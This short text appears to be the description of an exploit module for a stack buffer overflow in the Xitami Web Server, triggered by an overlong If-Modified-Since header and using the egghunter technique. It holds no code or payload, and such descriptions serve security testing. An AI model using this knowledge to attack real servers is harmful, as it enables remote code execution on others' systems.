|
|
|
|
This module exploits a stack buffer overflow in the iMatix Corporation
|
|
|
|
Xitami Web Server. If a malicious user sends an If-Modified-Since
|
|
|
|
header containing an overly long string, it may be possible to
|
|
|
|
execute a payload remotely. Due to size constraints, this module uses
|
|
|
|
the Egghunter technique.
